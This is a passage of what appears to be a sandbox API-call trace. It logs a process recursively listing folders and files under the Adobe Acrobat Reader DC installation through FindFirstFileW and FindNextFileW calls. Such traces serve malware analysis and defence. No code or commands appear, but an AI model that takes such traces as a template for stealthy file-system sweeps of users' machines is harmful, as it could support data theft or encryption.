hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.367] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0264.367] GetProcessHeap () returned 0xc10000 [0264.367] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.368] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.368] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5104, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.372] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5104, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.372] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.372] GetProcessHeap () returned 0xc10000 [0264.372] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.372] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0264.373] GetProcessHeap () returned 0xc10000 [0264.373] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.374] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.374] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x336b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.374] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x336b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.374] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.375] GetProcessHeap () returned 0xc10000 [0264.375] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.375] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0264.375] GetProcessHeap () returned 0xc10000 [0264.375] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0264.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.375] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.376] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3248, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.376] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d0e0 | out: lpFindFileData=0x2e5d0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3248, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.376] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.376] GetProcessHeap () returned 0xc10000 [0264.376] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0264.376] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0264.376] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.376] GetProcessHeap () returned 0xc10000 [0264.376] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0264.377] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 1 [0264.377] GetProcessHeap () returned 0xc10000 [0264.377] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0264.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\tool\\*", lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.377] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.377] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0264.377] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0264.377] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d368 | out: lpFindFileData=0x2e5d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0264.378] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.378] GetProcessHeap () returned 0xc10000 [0264.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0264.378] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 0 [0264.378] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0264.378] GetProcessHeap () returned 0xc10000 [0264.378] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.380] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0264.380] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0264.380] GetProcessHeap () returned 0xc10000 [0264.380] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.381] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 0 [0264.381] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.382] GetProcessHeap () returned 0xc10000 [0264.382] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0264.382] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewer", cAlternateFileName="")) returned 1 [0264.382] GetProcessHeap () returned 0xc10000 [0264.382] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0264.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.382] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.382] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0264.383] GetProcessHeap () returned 0xc10000 [0264.383] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0264.394] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.394] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0264.395] GetProcessHeap () returned 0xc10000 [0264.395] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ar-ae\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.396] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.396] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.396] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0264.397] GetProcessHeap () returned 0xc10000 [0264.397] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.397] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0264.397] GetProcessHeap () returned 0xc10000 [0264.397] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ca-es\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.398] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, 